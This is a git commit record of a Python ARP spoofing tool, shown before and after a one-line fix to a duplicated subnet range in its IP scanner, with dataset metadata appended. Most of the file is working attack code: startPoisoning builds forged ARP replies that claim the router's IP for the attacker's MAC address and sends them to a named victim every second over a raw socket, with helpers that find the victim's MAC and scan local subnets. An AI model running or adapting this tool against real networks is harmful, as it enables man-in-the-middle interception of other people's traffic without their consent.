<commit_before># NOTE(cab): Source: http://www.secdev.org/python/arpyspoof.py

import sys, string, argparse, re, os
from socket import *
from struct import *
from time import sleep
from subprocess import Popen, PIPE
from uuid import getnode

ETHER_BROADCAST = "\xff"*6 # NOTE(cab): Broadcast address (ff:ff:ff:ff:ff:ff)
ETH_P_ETHERNET  = 0x0001   # NOTE(cab): Hardware type(protocole) Ethernet
ETH_P_IP        = 0x0800   # NOTE(cab): IPv4
ETH_P_ARP       = 0x0806   # NOTE(cab): ARP
ETH_P_H_LEN     = 0x0006   # NOTE(cab): Ethernet addresses size is 6
ETH_P_P_LEN     = 0x0004   # NOTE(cab): IPv4 addresses size is 4
ETH_P_OPER      = 0x0002   # NOTE(cab): Type of operation; 1 for request and 2 for reply
ETH_ADAPTER     = "eth1"   # NOTE(cab): Network adapter
# NOTE(cab): List ot EtherType - http://en.wikipedia.org/wiki/EtherType

verbose = True

def mac_to_string(mac_address):
    return ':'.join(("%012X" % mac_address)[i:i+2] for i in range(0, 12, 2)).upper()

def string_to_mac(mac_address):
    return mac_address.replace(':', '').lower().decode('hex')

def log(message):
    if verbose:
        print(message)

def startPoisoning(victim_ip, router_ip):
    os.system('clear')
    log("You are now attacking " + victim_ip + " ...")
    log("And you will be spoofed as the router at " + router_ip)

    try:
        # NOTE(cab):
        #   AF_PACKET = Type of packet (packet socket)
        #      |-> doesn't work on Windows nor OS X. Will have to use https://pypi.python.org/pypi/pypcap
        #                                            |-> Or use Ubuntu
        #   SOCK_RAW = Send without any changes in the packet data
        #   htons = Convert to unsigned short host byte order to network byte order
        # Source: http://man7.org/linux/man-pages/man7/packet.7.html
        s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP))
        s.bind((ETH_ADAPTER, ETH_P_ARP))
        my_mac = getnode()

        # NOTE(cab): Can't use gethostname() since it return 127.0.0.1 on Ubuntu
        my_ip = gethostbyname(getfqdn())

        # NOTE(cab): From the documentation, the last bit is set to 1 if
        # the MAC Address is invalid
        if (my_mac >> 40) % 2:
            print "This MAC Address is invalid"
            print "I do not know what to do"
            print "I QUIT !"
            return

        my_mac = mac_to_string(my_mac)
        log("Current User IP Address: " + my_ip)
        log("Current User MAC Address: " + my_mac)

        packet = create_packet(victim_ip, router_ip, my_mac)

        sleep_time = 1
        log("Sending every " + str(sleep_time) + " seconds")
        while True:
            log("Sending packet")
            s.send(packet)
            sleep(sleep_time)
    except KeyboardInterrupt:
        log("Interrupted by user")
        pass

# NOTE(cab):
# Packet Structure:
# http://en.wikipedia.org/wiki/Address_Resolution_Protocol#Packet_structure
# Format:
#   inet_aton = Convert IPv4 into binary form (in network by order)
#   INADDR_ANY = Bound to all local interfaces
#   pack -> Byte Order
#       ! = network (= big-endian)
#        -> Format
#       I = unsigned int
#       H = unsigned short
#       B = unsigned char
def create_packet(victim_ip, router_ip, my_mac):
    victim_mac = get_mac_from_ip(victim_ip)
    log("Victim MAC Address: " + victim_mac)

    # NOTE(cab): This fixes all my proble, I had to convert to binary format!
    my_mac = string_to_mac(my_mac)
    victim_mac = string_to_mac(victim_mac)

    arp_frame = [
        victim_mac,
        my_mac,
        pack("!H", ETH_P_ARP),
        pack("!HHBBH", ETH_P_ETHERNET, ETH_P_IP, ETH_P_H_LEN, ETH_P_P_LEN, ETH_P_OPER),
        my_mac,
        inet_aton(router_ip),
        ETHER_BROADCAST,
        pack("!I", INADDR_ANY)
    ]
    return ''.join(arp_frame)

def get_mac_from_ip(ip_address):
    # NOTE(cab): Snippet from: http://snipplr.com/view/70832/get-arp-mac-from-ip-address/
    Popen(["ping", "-c 1", ip_address], stdout = PIPE)
    pid = Popen(["arp", "-n", ip_address], stdout = PIPE)
    s = pid.communicate()[0]
    mac_address = re.search(r"(([a-f\d]{1,2}\:){5}[a-f\d]{1,2})", s).groups()[0]
    return mac_address.upper()

def getIpAddresses():
    # NOTE(cab): Snippet from: http://ubuntuforums.org/showthread.php?t=724138
    raw_list = getaddrinfo(gethostname(), None)

    ip_addresses = []
    for item in raw_list:
        ip_addresses.append(item[4][0])

    # NOTE(cab): We want only unique values, but want to be able to still
    # access the item at a certain index
    # TODO(cab): Must remove self - lol
    return list(set(ip_addresses))

def ipScanner(range_selection):
    # NOTE(cab): Snippet from: https://code.google.com/p/jaccon-ipscanner/source/browse/ipscanner.py

    selected_range = []
    if range_selection == 0:
        selected_range.append("192.168.0.")
    elif range_selection == 1:
        selected_range.append("192.168.1.")
    elif range_selection == 2:
        selected_range.extend(("192.168.0.", "192.168.0."))
    else:
        selected_range.append("192.168.1.")<commit_msg>Fix typo were a range was scanned twice<commit_after># NOTE(cab): Source: http://www.secdev.org/python/arpyspoof.py

import sys, string, argparse, re, os
from socket import *
from struct import *
from time import sleep
from subprocess import Popen, PIPE
from uuid import getnode

ETHER_BROADCAST = "\xff"*6 # NOTE(cab): Broadcast address (ff:ff:ff:ff:ff:ff)
ETH_P_ETHERNET  = 0x0001   # NOTE(cab): Hardware type(protocole) Ethernet
ETH_P_IP        = 0x0800   # NOTE(cab): IPv4
ETH_P_ARP       = 0x0806   # NOTE(cab): ARP
ETH_P_H_LEN     = 0x0006   # NOTE(cab): Ethernet addresses size is 6
ETH_P_P_LEN     = 0x0004   # NOTE(cab): IPv4 addresses size is 4
ETH_P_OPER      = 0x0002   # NOTE(cab): Type of operation; 1 for request and 2 for reply
ETH_ADAPTER     = "eth1"   # NOTE(cab): Network adapter
# NOTE(cab): List ot EtherType - http://en.wikipedia.org/wiki/EtherType

verbose = True

def mac_to_string(mac_address):
    return ':'.join(("%012X" % mac_address)[i:i+2] for i in range(0, 12, 2)).upper()

def string_to_mac(mac_address):
    return mac_address.replace(':', '').lower().decode('hex')

def log(message):
    if verbose:
        print(message)

def startPoisoning(victim_ip, router_ip):
    os.system('clear')
    log("You are now attacking " + victim_ip + " ...")
    log("And you will be spoofed as the router at " + router_ip)

    try:
        # NOTE(cab):
        #   AF_PACKET = Type of packet (packet socket)
        #      |-> doesn't work on Windows nor OS X. Will have to use https://pypi.python.org/pypi/pypcap
        #                                            |-> Or use Ubuntu
        #   SOCK_RAW = Send without any changes in the packet data
        #   htons = Convert to unsigned short host byte order to network byte order
        # Source: http://man7.org/linux/man-pages/man7/packet.7.html
        s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP))
        s.bind((ETH_ADAPTER, ETH_P_ARP))
        my_mac = getnode()

        # NOTE(cab): Can't use gethostname() since it return 127.0.0.1 on Ubuntu
        my_ip = gethostbyname(getfqdn())

        # NOTE(cab): From the documentation, the last bit is set to 1 if
        # the MAC Address is invalid
        if (my_mac >> 40) % 2:
            print "This MAC Address is invalid"
            print "I do not know what to do"
            print "I QUIT !"
            return

        my_mac = mac_to_string(my_mac)
        log("Current User IP Address: " + my_ip)
        log("Current User MAC Address: " + my_mac)

        packet = create_packet(victim_ip, router_ip, my_mac)

        sleep_time = 1
        log("Sending every " + str(sleep_time) + " seconds")
        while True:
            log("Sending packet")
            s.send(packet)
            sleep(sleep_time)
    except KeyboardInterrupt:
        log("Interrupted by user")
        pass

# NOTE(cab):
# Packet Structure:
# http://en.wikipedia.org/wiki/Address_Resolution_Protocol#Packet_structure
# Format:
#   inet_aton = Convert IPv4 into binary form (in network by order)
#   INADDR_ANY = Bound to all local interfaces
#   pack -> Byte Order
#       ! = network (= big-endian)
#        -> Format
#       I = unsigned int
#       H = unsigned short
#       B = unsigned char
def create_packet(victim_ip, router_ip, my_mac):
    victim_mac = get_mac_from_ip(victim_ip)
    log("Victim MAC Address: " + victim_mac)

    # NOTE(cab): This fixes all my proble, I had to convert to binary format!
    my_mac = string_to_mac(my_mac)
    victim_mac = string_to_mac(victim_mac)

    arp_frame = [
        victim_mac,
        my_mac,
        pack("!H", ETH_P_ARP),
        pack("!HHBBH", ETH_P_ETHERNET, ETH_P_IP, ETH_P_H_LEN, ETH_P_P_LEN, ETH_P_OPER),
        my_mac,
        inet_aton(router_ip),
        ETHER_BROADCAST,
        pack("!I", INADDR_ANY)
    ]
    return ''.join(arp_frame)

def get_mac_from_ip(ip_address):
    # NOTE(cab): Snippet from: http://snipplr.com/view/70832/get-arp-mac-from-ip-address/
    Popen(["ping", "-c 1", ip_address], stdout = PIPE)
    pid = Popen(["arp", "-n", ip_address], stdout = PIPE)
    s = pid.communicate()[0]
    mac_address = re.search(r"(([a-f\d]{1,2}\:){5}[a-f\d]{1,2})", s).groups()[0]
    return mac_address.upper()

def getIpAddresses():
    # NOTE(cab): Snippet from: http://ubuntuforums.org/showthread.php?t=724138
    raw_list = getaddrinfo(gethostname(), None)

    ip_addresses = []
    for item in raw_list:
        ip_addresses.append(item[4][0])

    # NOTE(cab): We want only unique values, but want to be able to still
    # access the item at a certain index
    # TODO(cab): Must remove self - lol
    return list(set(ip_addresses))

def ipScanner(range_selection):
    # NOTE(cab): Snippet from: https://code.google.com/p/jaccon-ipscanner/source/browse/ipscanner.py

    selected_range = []
    if range_selection == 0:
        selected_range.append("192.168.0.")
    elif range_selection == 1:
        selected_range.append("192.168.1.")
    elif range_selection == 2:
        selected_range.extend(("192.168.0.", "192.168.1."))
    else:
        selected_range.append("192.168.1.")
{'fraction_non_alphanumeric': 0.12344949793266391, 'fraction_numerical': 0.02362669816893089, 'mean_word_length': 2.7294419970631423, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 15, 'https://': 4, 'lorem ipsum': 0, 'www.': 2, 'xml': 0}, 'pii_count': 2, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 4, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '2525083', 'n_tokens_mistral': 3732, 'n_tokens_neox': 3484, 'n_words': 884}